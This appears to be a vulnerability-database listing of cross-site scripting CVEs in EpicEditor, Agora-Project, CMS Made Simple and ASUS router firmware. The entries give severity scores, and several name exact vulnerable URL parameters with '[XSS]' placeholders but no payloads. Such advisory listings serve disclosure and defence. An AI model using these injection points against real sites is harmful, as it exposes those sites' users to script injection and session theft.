There is a cross-site scripting vulnerability in django-epiceditor 0.2.3 via crafted content in a form field. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Python Django Epiceditor
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

EpicEditor through 0.2.3 has Cross-Site Scripting because of an insecure default marked.js configuration. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Epiceditor
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

XSS in Agora-Project 3.2.2 exists with an index.php?ctrl=file&targetObjId=fileFolder-2&targetObjIdChild=[XSS] attack. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Agora Project
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

XSS in Agora-Project 3.2.2 exists with an index.php?ctrl=object&action=[XSS] attack. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Agora Project
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

XSS in Agora-Project 3.2.2 exists with an index.php?ctrl=misc&action=[XSS]&editObjId=[XSS] attack. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Agora Project
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

XSS in Agora-Project 3.2.2 exists with an index.php?disconnect=1&msgNotif[]=[XSS] attack. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Agora Project
NVD
EPSS 0% CVSS 5.4
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in CMS Made Simple (CMSMS) 2.1.6 allows remote authenticated users to inject arbitrary web script or HTML via the "adminpage > sitesetting > General Settings. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Cms Made Simple
NVD
EPSS 0% CVSS 5.4
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in /admin/moduleinterface.php in CMS Made Simple 2.1.6 allows remote authenticated users to inject arbitrary web script or HTML via the m1_description. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Cms Made Simple
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in httpd on ASUS RT-N56U, RT-N66U, RT-AC66U, RT-N66R, RT-AC66R, RT-AC68U, RT-AC68R, RT-N66W, RT-AC66W, RT-AC87R, RT-AC87U, RT-AC51U, RT-AC68P, RT-N11P,. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Rt Ac53 Firmware
NVD Exploit-DB
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Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
39320

Related CWEs

MITRE ATT&CK

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